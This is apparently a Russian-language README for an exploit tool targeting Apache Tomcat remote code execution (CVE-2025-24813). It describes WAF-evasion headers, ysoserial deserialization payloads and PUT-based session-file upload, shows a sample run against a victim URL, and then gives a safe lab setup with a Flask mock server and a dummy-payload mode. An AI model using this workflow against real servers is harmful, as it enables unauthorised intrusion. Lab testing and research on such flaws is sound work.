
Этот репозиторий содержит автоматизированный эксплойт, разработанный в образовательных и исследовательских целях в области кибербезопасности, предназначенный для демонстрации потенциальной уязвимости удаленного выполнения кода (RCE) в Apache Tomcat (CVE-2025-24813).
Этот инструмент разработан как футуристический набор эксплойтов, ориентированный на:
🧪 Предназначен для профессионалов в области кибербезопасности, исследователей, пентестеров и red team.
✅ Интерактивный и интуитивно понятный интерфейс
✅ Динамические полезные нагрузки (ysoserial или скомпилированный Java)
✅ Хамелеонские заголовки для обхода WAF
✅ Автоматический обход + фрагментация полезных нагрузок
✅ Снятие отпечатков выполнения на сервере
✅ Детальное логирование по каждой цели
✅ Динамический баннер в стиле киберпанк (🔮 glitch animation)
✅ Live feedback в консоли (с Rich & Colorama)
Установите необходимые зависимости с помощью:
pip install -r requirements.txt
Зависимости:
requests
colorama
rich
validators
И убедитесь, что у вас есть:
Java и javac в PATHysoserial.jar, если вы используете полезную нагрузку типа ysoserialЗапустите скрипт:
python3 POC-Exploit_CVE_2025_24813.py
И завершите настройку:
🧬 Выберите тип полезной нагрузки 💣 Укажите команду 🌐 Введите URL цели 🔧 Настройте обход и SSL
🔗 [?] Введите URL цели: https://victima.org
💣 [?] Команда для выполнения: whoami
🧬 [?] Тип полезной нагрузки: ysoserial
📂 [?] Путь к ysoserial.jar: ysoserial.jar
🔧 [?] Гаджет: CommonsCollections6
🔐 [?] Проверять SSL? (да/нет): нет
🚀 Выполнение...
🧬 Обнаружен WAF... меняем стратегию
⚙️ Загрузка полезной нагрузки...
💥 Подтверждение удаленного выполнения
✅ Результат: 'apache'
┌──────────────────────────────┐
│ Интерактивный режим │
├──────────────────────────────┤
│ Валидация URL │
│ Обнаружение сессии │
│ Обнаружение WAF │
│ Генерация полезной нагрузки │
│ Обходная загрузка через PUT │
│ Проверка выполнения │
└──────────────────────────────┘
↘ ЛОГИ ПО ЦЕЛИ
ysoserial, сериализует уязвимые гаджеты для выполнения команд..java, который выполняет удаленную команду с сервера.CommonsCollections6Spring1Jdk7u21POC-Exploit_CVE_2025_24813.py # Основной скрипт
ysoserial.jar # Требуется, если используете 'ysoserial'
logs/ # Папка с отдельными логами по каждой цели
payload.ser # Временно сгенерированная полезная нагрузка
Exploit.java / .class # Временные файлы для Java
Этот инструмент был создан исключительно в законных и образовательных целях.
✅ Разрешено:
🚫 Запрещено:
Ни автор, ни соавторы не несут ответственности за неправомерное использование. Вы отвечаете за свои действия.
ysoserial, Java, Rich, Colorama, requests📄 CVE-2025-24813: Удаленное выполнение кода в Apache Tomcat 🔗 Подробнее на CVE MITRE
MIT License
Copyright (c) 2025
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files...
Обратитесь к файлу
LICENSEдля получения дополнительной информации.
Этот README и скрипт созданы для захватывающего, визуального и элегантного опыта, соответствующего новой эре футуристической кибербезопасности с целью.
✨ Не просто эксплойты... это техническая симфония обхода и цифрового контроля.
Рекомендуемая версия: Python 3.8+
Библиотеки Python, которые необходимо установить:
pip install requests colorama
Скрипт использует два способа создания полезных нагрузок:
Поэтому вам нужно:
Java JDK (не только JRE, потому что код компилируется). Проверьте с помощью:
java -version
javac -version
Если обе команды работают, вы готовы.
Скачайте .jar отсюда 👉 https://github.com/frohoff/ysoserial
Сохраните его в той же директории, что и скрипт, или укажите полный путь, когда вас спросят. Пример:
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
calc.exe) откроет калькулятор.gnome-calculator или xcalc.Установить Python 3.8+
Установить библиотеки:
pip install requests colorama etc
Установить Java JDK 8+
java -version
javac -version
Скачать ysoserial.jar в папку со скриптом.
👉 После этого вы сможете запустить скрипт в безопасном лабораторном режиме (только в контролируемых средах, для тестирования).
Версия: 1.0 Цель: Это руководство объясняет, как подготовить полностью безопасную среду для тестирования имеющегося у вас скрипта, не затрагивая реальные системы. Включает тестовый сервер (mock), безопасный режим (DRY_RUN / SAFE_TEST) и четкие шаги для запуска инструмента в лаборатории.
pip доступен.virtualenv или venv.Установите зависимости:
python3 -m venv .venv
source .venv/bin/activate # Linux / macOS
.\.venv\Scripts\activate # Windows (PowerShell/Command Prompt)
pip install -U pip
pip install requests colorama flask
Примечание:
flaskиспользуется только для локального тестового сервера (mock).
Создайте файл mock_server.py со следующим содержимым. Сервер имитирует конечные точки, которые ожидает скрипт, и возвращает управляемые статусы (200, 409, 500), чтобы вы могли проверить логику скрипта, не трогая реальные серверы.
# mock_server.py — безопасный тестовый сервер
from flask import Flask, request, make_response, jsonify
app = Flask(__name__)
uploads = {}
@app.route('/index.jsp', methods=['GET'])
def index():
# Имитирует страницу, которая может вернуть cookie JSESSIONID или текст с "Session ID"
resp = make_response('Index page — Session ID: testsession')
resp.set_cookie('JSESSIONID', 'testsession')
return resp
@app.route('/check.txt', methods=['PUT'])
def check_put():
# Имитирует ресурс, доступный для записи
return ('OK', 200)
@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
# Имитирует, что загрузка была принята, но возвращает 409 (поведение, которое ожидает скрипт)
uploads[session_id] = True
return ('Conflict - uploaded', 409)
@app.route('/', methods=['GET'])
def root():
# Если cookie совпадает и сессия была "загружена", возвращаем 500, имитируя сбой из-за десериализации
session = request.cookies.get('JSESSIONID')
if session and uploads.get(session):
return ('Internal Server Error', 500)
return ('Hello from mock server', 200)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000, debug=True)
Как запустить:
python mock_server.py
# Mock будет слушать на http://127.0.0.1:8000
Для тестирования вам не нужно генерировать реальные полезные нагрузки. Создайте простой файл, который скрипт сможет загрузить:
echo "DUMMY_PAYLOAD" > payload.ser
Этот файл не содержит исполняемый код: он служит только для проверки логики загрузки и ответов тестового сервера.
Чтобы скрипт не вызывал внешние утилиты (Java/ysoserial) и не выполнял опасные действия, добавьте этот блок в начало основного скрипта (перед любой генерацией/вызовом subprocess):
import os
SAFE_TEST = os.environ.get('SAFE_TEST', '0') == '1'
Затем измените (или оберните) функции генерации/загрузки, чтобы они вели себя безопасно, когда SAFE_TEST равно True.
Пример минимальных изменений для generate_ysoserial_payload и generate_java_payload:
def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST активен — создаем фиктивную полезную нагрузку (неисполняемую)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_PAYLOAD")
return payload_file
# --- оригинальное поведение только если SAFE_TEST == False ---
def generate_java_payload(command, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST активен — создаем фиктивную java полезную нагрузку (неисполняемую)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_JAVA_PAYLOAD")
return payload_file
# --- оригинальное поведение только если SAFE_TEST == False ---
А в upload_and_verify_payload, если SAFE_TEST равно True, используйте обычный поток (mock его примет), но не выполняйте команды за пределами скрипта.
Как активировать SAFE_TEST:
Linux/macOS:
export SAFE_TEST=1
Windows (PowerShell):
$env:SAFE_TEST = "1"
Запустите виртуальное окружение и убедитесь, что зависимости установлены (см. раздел Требования).
Запустите mock_server.py:
python mock_server.py
Создайте фиктивную полезную нагрузку, если вы не используете SAFE_TEST или он не создает ее за вас:
echo "DUMMY_PAYLOAD" > payload.ser
Активируйте безопасный режим в терминале:
export SAFE_TEST=1 # Linux/macOS
# или в PowerShell: $env:SAFE_TEST = "1"
Запустите основной скрипт:
python3 ваш_скрипт.py
Ответьте на запросы (вы будете использовать лабораторные значения):
http://127.0.0.1:8000ysoserial (скрипт, с SAFE_TEST=1, создаст фиктивную полезную нагрузку вместо вызова внешних инструментов)ysoserial.jar — не будет использоваться в безопасном режиме)no (ваш mock использует HTTP)Наблюдайте вывод в консоли: вы должны увидеть сообщения Server is writable via PUT, Payload uploaded with status 409 и Exploit succeeded! Server returned 500 after deserialization. — это только на mock и означает, что логический поток скрипта работает.
Проверьте логи в logs/ — скрипт сохраняет записи с метками времени. Например, logs/127_0_0_1_8000.log (в зависимости от санитизированного имени цели).
check_writable_servlet обнаруживает успешный PUT к конечной точке /check.txt.payload.ser mock возвращает 409, а затем скрипт делает GET с cookie JSESSIONID.Используйте pytest и requests-mock для имитации HTTP-ответов.
Создайте тесты для:
validate_url — правильные/ошибочные вводы.retry_request — имитация исключений и повторных попыток.detect_waf — имитация заголовков Server с сигнатурами и без.upload_and_verify_payload — использование имитации сервера для проверки потока.Простой пример с requests-mock (скелет):
# test_script.py
import requests
import requests_mock
from ваш_скрипт import validate_url, retry_request
def test_validate_url():
assert validate_url('http://127.0.0.1:8000')
assert not validate_url('notaurl')
def test_retry_request_success():
# используйте requests_mock для имитации GET и проверки retry_request
pass
Автор:ByMakavali